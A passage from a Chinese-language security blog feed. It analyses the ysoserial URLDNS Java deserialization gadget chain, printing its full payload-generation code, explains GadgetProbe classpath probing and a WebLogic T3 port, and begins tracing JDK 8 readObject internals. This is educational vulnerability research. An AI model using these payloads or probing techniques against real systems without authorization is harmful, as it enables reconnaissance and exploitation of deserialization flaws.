class="number">1</span>)</div><div class="line">        h += getDefaultPort();</div><div class="line">    <span class="keyword">else</span></div><div class="line">        h += u.getPort();</div><div class="line"></div><div class="line">    <span class="comment">// Generate the ref part.</span></div><div class="line">    String ref = u.getRef();</div><div class="line">    <span class="keyword">if</span> (ref != <span class="keyword">null</span>)</div><div class="line">        h += ref.hashCode();</div><div class="line"></div><div class="line">    <span class="keyword">return</span> h;</div><div class="line">&#125;</div></pre></td></tr></table></figure>
<p><code>getHostAddress()</code> 方法會對傳入的 url 做 DNS 查詢</p>
<p><br></p>
<p>接著來看看 ysoserial 中 URLDNS Payload 生成的方式:</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div><div class="line">37</div><div class="line">38</div><div class="line">39</div><div class="line">40</div><div class="line">41</div><div class="line">42</div><div class="line">43</div><div class="line">44</div><div class="line">45</div></pre></td><td class="code"><pre><div class="line"><span class="meta">@SuppressWarnings</span>(&#123; <span class="string">"rawtypes"</span>, <span class="string">"unchecked"</span> &#125;)</div><div class="line"><span class="meta">@PayloadTest</span>(skip = <span class="string">"true"</span>)</div><div class="line"><span class="meta">@Dependencies</span>()</div><div class="line"><span class="meta">@Authors</span>(&#123; Authors.GEBL &#125;)</div><div class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">URLDNS</span> <span class="keyword">implements</span> <span class="title">ObjectPayload</span>&lt;<span class="title">Object</span>&gt; </span>&#123;</div><div class="line"></div><div class="line">        <span class="function"><span class="keyword">public</span> Object <span class="title">getObject</span><span class="params">(<span class="keyword">final</span> String url)</span> <span class="keyword">throws</span> Exception </span>&#123;</div><div class="line"></div><div class="line">                <span class="comment">//Avoid DNS resolution during payload creation</span></div><div class="line">                <span class="comment">//Since the field &lt;code&gt;java.net.URL.handler&lt;/code&gt; is transient, it will not be part of the serialized payload.</span></div><div class="line">                URLStreamHandler handler = <span class="keyword">new</span> SilentURLStreamHandler();</div><div class="line"></div><div class="line">                HashMap ht = <span class="keyword">new</span> HashMap(); <span class="comment">// HashMap that will contain the URL</span></div><div class="line">                URL u = <span class="keyword">new</span> URL(<span class="keyword">null</span>, url, handler); <span class="comment">// URL to use as the Key</span></div><div class="line">                ht.put(u, url); <span class="comment">//The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.</span></div><div class="line"></div><div class="line">                Reflections.setFieldValue(u, <span class="string">"hashCode"</span>, -<span class="number">1</span>); <span class="comment">// During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.</span></div><div class="line"></div><div class="line">                <span class="keyword">return</span> ht;</div><div class="line">        &#125;</div><div class="line"></div><div class="line">        <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(<span class="keyword">final</span> String[] args)</span> <span class="keyword">throws</span> Exception </span>&#123;</div><div class="line">                PayloadRunner.run(URLDNS.class, args);</div><div class="line">        &#125;</div><div class="line"></div><div class="line">        <span class="comment">/**</span></div><div class="line">         * &lt;p&gt;This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.</div><div class="line">         * DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior</div><div class="line">         * using the serialized object.&lt;/p&gt;</div><div class="line">         *</div><div class="line">         * &lt;b&gt;Potential false negative:&lt;/b&gt;</div><div class="line">         * &lt;p&gt;If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the</div><div class="line">         * second resolution.&lt;/p&gt;</div><div class="line">         */</div><div class="line">        <span class="keyword">static</span> <span class="class"><span class="keyword">class</span> <span class="title">SilentURLStreamHandler</span> <span class="keyword">extends</span> <span class="title">URLStreamHandler</span> </span>&#123;</div><div class="line"></div><div class="line">                <span class="function"><span class="keyword">protected</span> URLConnection <span class="title">openConnection</span><span class="params">(URL u)</span> <span class="keyword">throws</span> IOException </span>&#123;</div><div class="line">                        <span class="keyword">return</span> <span class="keyword">null</span>;</div><div class="line">                &#125;</div><div class="line"></div><div class="line">                <span class="function"><span class="keyword">protected</span> <span class="keyword">synchronized</span> InetAddress <span class="title">getHostAddress</span><span class="params">(URL u)</span> </span>&#123;</div><div class="line">                        <span class="keyword">return</span> <span class="keyword">null</span>;</div><div class="line">                &#125;</div><div class="line">        &#125;</div><div class="line">&#125;</div></pre></td></tr></table></figure>
<p>這裡值得注意的是，它建立了一個 <code>SilentURLStreamHandler</code> 類別，並繼承 <code>URLStreamHandler</code></p>
<p>這麼做的其中一個原因是 <code>URLStreamHandler</code> 是抽象類別，沒辦法被實例化，所以必須繼承並實作 <code>openConnection()</code> 抽象方法後才能被實例化</p>
<p>另一個原因是，他為了避免我們在構造 payload 時，過程中就先去做 DNS 查詢，所以把 <code>openConnection()</code> , <code>getHostAddress()</code> 兩個方法都覆寫成直接回傳 null</p>
<p><br></p>
<p>看到這邊時，我就產生一個疑問，這樣在反序列化時，目標機器上沒有 <code>SlientURLStreamHandler</code> class，那它背後怎麼處理的呢？</p>
<p>跟一下 URL class，才發現原來 <code>handler</code> 的屬性是 <code>transient</code></p>
<p>在<a href="https://blog.kaibro.tw/2020/02/23/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BreadObject%E5%88%86%E6%9E%90/">前面文章</a>中有講過，<code>transient</code> 的物件是不會被序列化的，所以我們設定的 <code>SilentURLStreamHandler</code> 實例也就不會被序列化到目標機器上</p>
<p>接著看一下它的 <code>readObject()</code> 怎麼還原 <code>handler</code> 的:</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">private</span> <span class="keyword">synchronized</span> <span class="keyword">void</span> <span class="title">readObject</span><span class="params">(java.io.ObjectInputStream s)</span></span></div><div class="line">         <span class="keyword">throws</span> IOException, ClassNotFoundException</div><div class="line">&#123;</div><div class="line">    s.defaultReadObject();  <span class="comment">// read the fields</span></div><div class="line">    <span class="keyword">if</span> ((handler = getURLStreamHandler(protocol)) == <span class="keyword">null</span>) &#123;</div><div class="line">        <span class="keyword">throw</span> <span class="keyword">new</span> IOException(<span class="string">"unknown protocol: "</span> + protocol);</div><div class="line">    &#125;</div><div class="line">    ...</div></pre></td></tr></table></figure>
<p><code>getURLStreamHandler()</code> 方法會去根據 protocol 等資訊去決定返回哪個 handler 做後續處理，所以這裡就跟我們前面那個自定義的 <code>SilentURLStreamHandler</code> 完全無關了</p>
<p><br></p>
<p>最後，我們剛剛說 <code>hashCode</code> 要等於 <code>-1</code> 才會去呼叫 <code>handler.hashCode()</code></p>
<p>但預設 <code>hashCode</code> 不是 -1，所以可以看到 ysoserial 中把 <code>hashCode</code> 設定成 -1:</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">Reflections.setFieldValue(u, <span class="string">"hashCode"</span>, -<span class="number">1</span>)</div></pre></td></tr></table></figure>
<p>到此，我們的分析就差不多結束了！</p>
<p><br></p>
<p>回顧一下整個流程:</p>
<p>把構造出來的物件送到目標機器做反序列化</p>
<p>觸發 <code>HashMap.readObject()</code> 執行</p>
<p>為了還原 hash table 內容，重新計算 key 的 hash 值，呼叫了 <code>hash()</code> 方法</p>
<p>接著又呼叫了 <code>key.hashCode()</code></p>
<p>當 <code>hashCode</code> 屬性為 <code>-1</code> 時，會去呼叫 <code>handler.hashCode()</code></p>
<p>而 <code>URLStreamHandler</code> 介面的 <code>hashCode()</code> 方法會去呼叫 <code>getHostAddress()</code> 做 DNS 查詢！</p>
<p><img src="https://i.imgur.com/05Cc4Au.png" alt=""></p>
<hr>
<p><br></p>
<h2 id="Gadget_Probe"><a href="#Gadget_Probe" class="headerlink" title="Gadget Probe"></a>Gadget Probe</h2><p>近期 github 上面有人分享了 <a href="https://github.com/BishopFox/GadgetProbe" target="_blank" rel="external">GadgetProbe</a> 這個工具</p>
<p>這個工具能夠透過 URLDNS 的方式，判斷目標機器 classpath 中是否存在某個 class (gadget)</p>
<p><br></p>
<p>其背後的原理很簡單，只是在 URLDNS 的基礎之上多加一個判斷的小技巧而已</p>
<p>簡單說明一下該工具的核心概念:</p>
<p><br></p>
<p>如果我們送了一個目標機器不存在的類別實例過去</p>
<p>那目標機器因為找不到對應的類別，所以程式會噴錯誤，後面的程式邏輯就會直接略過</p>
<p>所以 gadget probe 的方法就是：</p>
<p>構造一個場景，讓目標先反序列化我們要判斷的類別實例，然後再緊接著去做 DNS query</p>
<p>若該類別存在，就會接著發送 DNS 請求</p>
<p>若該類別不存在，會因為程式錯誤而不發送 DNS 請求</p>
<p>這樣我們就能透過是否收到 DNS 請求來知道對方機器是否存在某個類別</p>
<p><br></p>
<p>實作上有個小細節是，若本地目標類別不存在</p>
<p>可以透過 <code>javassist</code> 去建立一個空的 class</p>
<p>這樣我們就能生成對應的類別實例去做序列化了</p>
<p><br></p>
<p>再補充一個小東西:</p>
<p>Weblogic 有實作自己的 RMI protocol，也就是 T3 protocol</p>
<p>T3 protocol 的格式有點小複雜，這裡就不細講</p>
<p>但這裡重點是，其中有一部分內容是一般 Java Serialization Object 的格式，也就是 <code>ac ed 00 05</code> 的格式</p>
<p><img src="https://i.imgur.com/XKUggli.png" alt=""></p>
<p>所以我們可以把 ysoserial 產出來的 payload 拿來直接置換掉這個部分，並把長度欄位改一下就能直接使用了，真棒!</p>
<p>前面講到的 gadget probe 也能用一樣的方法在 Weblogic 上實作出來</p>
<p>所以我就把原本的 gadget probe 移植成 weblogic 能用的版本</p>
<p>有興趣的讀者可以參考我的 <a href="https://github.com/w181496/weblogic-gadget-probe" target="_blank" rel="external">github repo</a></p>
<p>(目前只有測試單一版本 weblogic 可以 work，有可能在其他版本或不同環境會失敗，所以有問題歡迎發 issue 或送 PR~)</p>
]]></content>
    <summary type="html">
    <![CDATA[<h2 id="URLDNS__u5206_u6790"><a href="#URLDNS__u5206_u6790" class="headerlink" title="URLDNS 分析"></a>URLDNS 分析</h2><p><code>URLDNS</code> 是 ysoserial 工具裡面的一條 gadget chain</p>
<p>其主要目的是能夠對指定的 URL 發送 DNS Query</p>
<p>由於它不需要依賴第三方函式庫，原生 JDK 就能夠串起整條 Gadget Chain</p>
<p>所以一般在測試反序列化時，常會以 URLDNS 是否有發送 DNS 請求來判斷反序列化漏洞存在與否</p>
<p>尤其在實戰中常遇到嚴苛的網路環境限制，使得 HTTP/HTTPS 無法對外請求，只能透過 DNS 對外發送查詢請求</p>
<p><br></p>
<p>今天這篇主要就是來分析 URLDNS gadget chain 背後的原理，以及一些延伸的小應用</p>
<p>由於 URLDNS gadget chain 概念非常單純，所以非常推薦新手學習 Java 反序列化時，可以先從這個 gadget chain 開始看起</p>
<p>若直接從 Common Collections 系列或更複雜的利用鍊開始看，會相對來說吃力很多，很容易降低學習的熱情</p>
<p><br></p>]]>
    
    </summary>
    
      <category term="Web" scheme="http://blog.kaibro.tw/tags/Web/"/>
    
      <category term="筆記" scheme="http://blog.kaibro.tw/tags/%E7%AD%86%E8%A8%98/"/>
    
      <category term="Java" scheme="http://blog.kaibro.tw/tags/Java/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[Java 反序列化之 readObject 分析]]></title>
    <link href="http://blog.kaibro.tw/2020/02/23/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BreadObject%E5%88%86%E6%9E%90/"/>
    <id>http://blog.kaibro.tw/2020/02/23/Java反序列化之readObject分析/</id>
    <published>2020-02-23T11:11:22.000Z</published>
    <updated>2020-03-04T14:19:58.593Z</updated>
    <content type="html"><![CDATA[<h2 id="u524D_u8A00"><a href="#u524D_u8A00" class="headerlink" title="前言"></a>前言</h2><p>近期上班有點忙，沒有太多空閒時間能學新東西</p>
<p>剛好前陣子蠻常遇到 java 反序列化，就用下班後的零碎時間稍微小跟了一下 <code>readObject()</code> 底層流程</p>
<p>雖然都是萬年老梗內容，但還是順手筆記一下追 code 的過程</p>
<p>大家都很熟 readObject 用法，但應該很少人實際去追過底層 (?)</p>
<p>(同時也順便更新一下很久沒放技術文的 Blog XD)</p>
<a id="more"></a>
<p><br></p>
<h2 id="u5E8F_u5217_u5316/_u53CD_u5E8F_u5217_u5316"><a href="#u5E8F_u5217_u5316/_u53CD_u5E8F_u5217_u5316" class="headerlink" title="序列化/反序列化"></a>序列化/反序列化</h2><ul>
<li>序列化: 把物件轉成Bytes sequences</li>
<li>反序列化: 把Bytes sequences還原成物件</li>
</ul>
<p>這樣做的目的，可以方便我們將物件狀態保存起來，或是用於網路傳輸中(常見於分散式架構)，向不同台機器傳遞物件狀態</p>
<p>序列化機制在 Java 中應用非常廣泛，例如常見的 RMI、JMX、EJB 等都以此為基礎</p>
<p>Java 的反序列化跟 PHP 或其他語言的反序列化機制一樣，若反序列化的內容為使用者可控，將有機會導致安全問題</p>
<p><br></p>
<h2 id="u6F0F_u6D1E_u6B77_u53F2"><a href="#u6F0F_u6D1E_u6B77_u53F2" class="headerlink" title="漏洞歷史"></a>漏洞歷史</h2><p>Java 反序列漏洞最為人知的就是 2015 年 FoxGlove Security 提出的 Apache Commons Collections 反序列化漏洞</p>
<p>因為 Common Collections 是一個被廣泛使用的第三方套件包</p>
<p>所以當時造成的影響範圍非常大，包括 WebSphere, JBoss, Jenkins, WebLogic 等都受到此漏洞影響</p>
<p>具體可以參考原文: <a href="https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/" target="_blank" rel="external">https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/</a></p>
<p>也就是說只要找到一個反序列化的入口點，再滿足 classpath 中有低版本 common collections 套件，就能直接走這條 gadget chain 達到 RCE</p>
<p>神器 <a href="https://github.com/frohoff/ysoserial" target="_blank" rel="external">ysoserial</a> 就佛心整理了各版本 Common collections 和其它套件的 gadget chain，可以直接拿來爽爽打</p>
<p><br></p>
<h2 id="readObject"><a href="#readObject" class="headerlink" title="readObject"></a>readObject</h2><p>在 PHP 裡面，我們可以透過 <code>unserialize(input)</code> 去對 input 做反序列化</p>
<p>而在 Java 中，通常會透過 <code>ObjectInputStream.readObject()</code> 作為反序列化的起始點</p>
<p>並且物件必須實作 <code>java.io.Serializable</code> 才能被序列化</p>
<p>直接看例子:</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">import</span> java.io.IOException;</div><div class="line"><span class="keyword">import</span> java.io.ObjectInputStream;</div><div class="line"><span class="keyword">import</span> java.io.Serializable;</div><div class="line"></div><div class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">Kaibro</span> <span class="keyword">implements</span> <span class="title">Serializable</span> </span>&#123;</div><div class="line">    <span class="keyword">public</span> String gg;</div><div class="line">    <span class="function"><span class="keyword">public</span> <span class="title">Kaibro</span><span class="params">()</span> </span>&#123;</div><div class="line">        gg = <span class="string">"meow"</span>;</div><div class="line">    &#125;</div><div class="line">    <span class="function"><span class="keyword">private</span> <span class="keyword">void</span> <span class="title">readObject</span><span class="params">(ObjectInputStream in)</span> <span class="keyword">throws</span> IOException, ClassNotFoundException </span>&#123;</div><div class="line">        in.defaultReadObject();</div><div class="line">        System.out.println(<span class="string">"QQ"</span>);</div><div class="line">    &#125;</div><div class="line">&#125;</div></pre></td></tr></table></figure>
<figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">import</span> java.io.FileInputStream;</div><div class="line"><span class="keyword">import</span> java.io.FileOutputStream;</div><div class="line"><span class="keyword">import</span> java.io.ObjectInputStream;</div><div class="line"><span class="keyword">import</span> java.io.ObjectOutputStream;</div><div class="line"></div><div class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">main</span> </span>&#123;</div><div class="line">    <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String args[])</span> <span class="keyword">throws</span> Exception </span>&#123;</div><div class="line"></div><div class="line">        Kaibro kb = <span class="keyword">new</span> Kaibro();</div><div class="line">        ObjectOutputStream out = <span class="keyword">new</span> ObjectOutputStream(<span class="keyword">new</span> FileOutputStream(<span class="string">"/tmp/ser"</span>));</div><div class="line">        out.writeObject(kb);</div><div class="line"></div><div class="line">        ObjectInputStream ois = <span class="keyword">new</span> ObjectInputStream(<span class="keyword">new</span> FileInputStream(<span class="string">"/tmp/ser"</span>));</div><div class="line">        Kaibro tmp = (Kaibro)ois.readObject();</div><div class="line">        System.out.println(tmp.gg);</div><div class="line">    &#125;</div><div class="line">&#125;</div></pre></td></tr></table></figure>
<p>可以看到我們透過 <code>ObjectOutputStream.writeObject()</code> 把 <code>kb</code> 物件序列化存放到 <code>/tmp/ser</code></p>
<p>之後透過 <code>ObjectOutputStream.readObject()</code> 把 <code>/tmp/ser</code> 讀出來做反序列化</p>
<p>並且可以注意到 <code>Kaibro</code> class 中也有一個同名的 <code>readObject()</code> 方法</p>
<p>這個方法的作用是，讓開發者可以自定義物件反序列化還原的邏輯</p>
<p>以 <a href="https://github.com/AdoptOpenJDK/openjdk-jdk8u/blob/master/jdk/src/share/classes/java/util/HashMap.java#L1373" target="_blank" rel="external">HashMap</a> 為例，它為了保持反序列化後，物件的狀態能夠一致，所以重寫了 readObject 方法來處理反序列化</p>
<p>而如果覆寫的 readObject 方法中有其他方法可以讓我們繼續利用的話，就有機會串下一個 gadget，最後形成一條完整的 gadget chain</p>
<p>例如 ysoserial 中 <code>URLDNS</code> 這條 gadget chain 就利用到 <code>HashMap</code> readObject 中的 <code>putVal()</code>, <code>hash()</code> 等方法達到發送 DNS 請求的效果</p>
<p><br></p>
<p>看到這裡，應該有的人會有疑問:</p>
<p><code>ObjectInputStream.readObject()</code>之後，到底發生什麼事，又為何最後會呼叫到我們重寫的<code>Kaibro.readObject()</code></p>
<p>後面就讓我們來跟一下 JDK 原始碼，看一下背後到底做了啥事情</p>
<p><br></p>
<h2 id="u5206_u6790"><a href="#u5206_u6790" class="headerlink" title="分析"></a>分析</h2><p>下面的內容，會以 <a href="https://github.com/AdoptOpenJDK/openjdk-jdk8u" target="_blank" rel="external">JDK 8</a> 來當作分析的目標</p>
<p>而在分析之前，我們先用<a href="https://github.com/NickstaDB/SerializationDumper" target="_blank" rel="external">SerializationDumper</a>這個工具看一下前面例子造出來的序列化內容的結構:</p>
<p><img src="https://i.imgur.com/aplQ9z8.png" alt=""></p>
<p>開頭兩個 Bytes<code>ac ed</code> 標示這是一個 Java 序列化 Stream</p>
<p>後面的兩個 Bytes <code>00 05</code> 則是版本號</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div></pre></td><td class="code"><pre><div class="line">$ cat /tmp/ser | xxd</div><div class="line">00000000: aced 0005 7372 0006 4b61 6962 726f e9d6  ....sr..Kaibro..</div><div class="line">00000010: ae3b 5461 820d 0200 014c 0002 6767 7400  .;Ta.....L..ggt.</div><div class="line">00000020: 124c 6a61 7661 2f6c 616e 672f 5374 7269  .Ljava/lang/Stri</div><div class="line">00000030: 6e67 3b78 7074 0004 6d65 6f77            ng;xpt..meow</div></pre></td></tr></table></figure>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line">$ cat /tmp/ser | base64</div><div class="line">rO0ABXNyAAZLYWlicm/p1q47VGGCDQIAAUwAAmdndAASTGphdmEvbGFuZy9TdHJpbmc7eHB0AARtZW93</div></pre></td></tr></table></figure>
<p>所以當我們在測試 Java Web 應用時，只要看到 <code>ac ed 00 05 ...</code> 或是 <code>rO0AB...</code>(Base64) 等特徵</p>
<p>就可以猜測它 87% 是序列化 Stream，可以嘗試做進一步的反序列化利用</p>
<p><br></p>
<p>接下來直接從 <code>ObjectInputStream.readObject()</code> 下手，跟進 <a href="https://github.com/AdoptOpenJDK/openjdk-jdk8u/blob/master/jdk/src/share/classes/java/io/ObjectInputStream.java#L421" target="_blank" rel="external">Source code</a>:</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">final</span> Object <span class="title">readObject</span><span class="params">()</span></span></div><div class="line">    <span class="keyword">throws</span> IOException, ClassNotFoundException &#123;</div><div class="line">    <span class="keyword">return</span> readObject(Object.class);</div><div class="line">&#125;</div></pre></td></tr></table></figure>
<p>這裡直接回傳 <code>readObject(Object.class)</code>，繼續跟進:</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">private</span> <span class="keyword">final</span> Object <span class="title">readObject</span><span class="params">(Class&lt;?&gt; type)</span></span></div><div class="line">        <span class="keyword">throws</span> IOException, ClassNotFoundException</div><div class="line">&#123;</div><div class="line">    <span class="keyword">if</span> (enableOverride) &#123;</div><div class="line">        <span class="keyword">return</span> readObjectOverride();</div><div class="line">    &#125;</div><div class="line"></div><div class="line">    <span class="keyword">if</span> (! (type == Object.class || type == String.class))</div><div class="line">        <span class="keyword">throw</span> <span class="keyword">new</span> AssertionError(<span class="string">"internal error"</span>);</div><div class="line"></div><div class="line">    <span class="comment">// if nested read, passHandle contains handle of enclosing object</span></div><div class="line">    <span class="keyword">int</span> outerHandle = passHandle;</div><div class="line">    <span class="keyword">try</span> &#123;</div><div class="line">        Object obj = readObject0(type, <span class="keyword">false</span>);</div><div class="line">        handles.markDependency(outerHandle, passHandle);</div><div class="line">        ClassNotFoundException ex = handles.lookupException(passHandle);</div><div class="line">        <span class="keyword">if</span> (ex != <span class="keyword">null</span>) &#123;</div><div class="line">            <span class="keyword">throw</span> ex;</div><div class="line">        &#125;</div><div class="line">        <span class="keyword">if</span> (depth == <span class="number">0</span>) &#123;</div><div class="line">            vlist.doCallbacks();</div><div class="line">        &#125;</div><div class="line">        <span class="keyword">return</span> obj;</div><div class="line">    &#125; <span class="keyword">finally</span> &#123;</div><div class="line">        passHandle = outerHandle;</div><div class="line">        <span class="keyword">if</span> (closed &amp;&amp; depth == <span class="number">0</span>) &#123;</div><div class="line">            clear();</div><div class="line">        &#125;</div><div class="line">    &#125;</div><div class="line">&#125;</div></pre></td></tr></table></figure>
<p>開頭有一個 if 判斷式，其中的 <code>enableOverride</code> 來自 <code>ObjectInputStream</code> 的 constructor:</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">public</span> <span class="title">ObjectInputStream</span><span class="params">(InputStream in)</span> <span class="keyword">throws</span> IOException </span>&#123;</div><div class="line">	...</div><div class="line">	enableOverride = <span class="keyword">false</span>;</div><div class="line">	...</div><div class="line">&#125;</div></pre></td></tr></table></figure>
<p>只要是由帶參數的 constructor 建立的 ObjectInputStream 實例，這個變數值預設就是 false</p>
<p>當 constructor 沒有參數時，才會將 <code>enavleOverride</code> 設成 true:</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">protected</span> <span class="title">ObjectInputStream</span><span class="params">()</span> <span class="keyword">throws</span> IOException, SecurityException </span>&#123;</div><div class="line">	...</div><div class="line">	enableOverride = <span class="keyword">true</span>;</div><div class="line">	...</div><div class="line">&#125;</div></pre></td></tr></table></figure>
<p>而條件成立後的<code>readObjectOverride()</code>實際上也只是個空函數，沒有任何作用</p>
<p>接著繼續看:</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">Object obj = readObject0(type, <span class="keyword">false</span>);</div></pre></td></tr></table></figure>
<p>跟進去 <code>readObject0()</code>:</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div><div class="line">37</div><div class="line">38</div><div class="line">39</div><div class="line">40</div><div class="line">41</div><div class="line">42</div><div class="line">43</div><div class="line">44</div><div class="line">45</div><div class="line">46</div><div class="line">47</div><div class="line">48</div><div class="line">49</div><div class="line">50</div><div class="line">51</div><div class="line">52</div><div class="line">53</div><div class="line">54</div><div class="line">55</div><div class="line">56</div><div class="line">57</div><div class="line">58</div><div class="line">59</div><div class="line">60</div><div class="line">61</div><div class="line">62</div><div class="line">63</div><div class="line">64</div><div class="line">65</div><div class="line">66</div><div class="line">67</div><div class="line">68</div><div class="line">69</div><div class="line">70</div><div class="line">71</div><div class="line">72</div><div class="line">73</div><div class="line">74</div><div class="line">75</div><div class="line">76</div><div class="line">77</div><div class="line">78</div><div class="line">79</div><div class="line">80</div><div class="line">81</div><div class="line">82</div><div class="line">83</div><div class="line">84</div><div class="line">85</div><div class="line">86</div><div class="line">87</div><div class="line">88</div><div class="line">89</div><div class="line">90</div><div class="line">91</div><div class="line">92</div><div class="line">93</div><div class="line">94</div><div class="line">95</div><div class="line">96</div><div class="line">97</div><div class="line">98</div><div class="line">99</div><div class="line">100</div><div class="line">101</div><div class="line">102</div><div class="line">103</div><div class="line">104</div><div class="line">105</div><div class="line">106</div><div class="line">107</div><div class="line">108</div><div class="line">109</div><div class="line">110</div><div class="line">111</div></pre></td><td class="code"><pre><div class="line"><span class="comment">/**</span></div><div class="line"> * Underlying readObject implementation.</div><div class="line"> * <span class="doctag">@param</span> type a type expected to be deserialized; non-null</div><div class="line"> * <span class="doctag">@param</span> unshared true if the object can not be a reference to a shared object, otherwise false</div><div class="line"> */</div><div class="line"><span class="function"><span class="keyword">private</span> Object <span class="title">readObject0</span><span class="params">(Class&lt;?&gt; type, <span class="keyword">boolean</span> unshared)</span> <span class="keyword">throws</span> IOException </span>&#123;</div><div class="line">    <span class="keyword">boolean</span> oldMode = bin.getBlockDataMode();</div><div class="line">    <span class="keyword">if</span> (oldMode) &#123;</div><div class="line">        <span class="keyword">int</span> remain = bin.currentBlockRemaining();</div><div class="line">        <span class="keyword">if</span> (remain &gt; <span class="number">0</span>) &#123;</div><div class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> OptionalDataException(remain);</div><div class="line">        &#125; <span class="keyword">else</span> <span class="keyword">if</span> (defaultDataEnd) &#123;</div><div class="line">            <span class="comment">/*</span></div><div class="line">             * Fix for 4360508: stream is currently at the end of a field</div><div class="line">             * value block written via default serialization; since there</div><div class="line">             * is no terminating TC_ENDBLOCKDATA tag, simulate</div><div class="line">             * end-of-custom-data behavior explicitly.</div><div class="line">             */</div><div class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> OptionalDataException(<span class="keyword">true</span>);</div><div class="line">        &#125;</div><div class="line">        bin.setBlockDataMode(<span class="keyword">false</span>);</div><div class="line">    &#125;</div><div class="line"></div><div class="line">    <span class="keyword">byte</span> tc;</div><div class="line">    <span class="keyword">while</span> ((tc = bin.peekByte()) == TC_RESET) &#123;</div><div class="line">        bin.readByte();</div><div class="line">        handleReset();</div><div class="line">    &#125;</div><div class="line"></div><div class="line">    depth++;</div><div 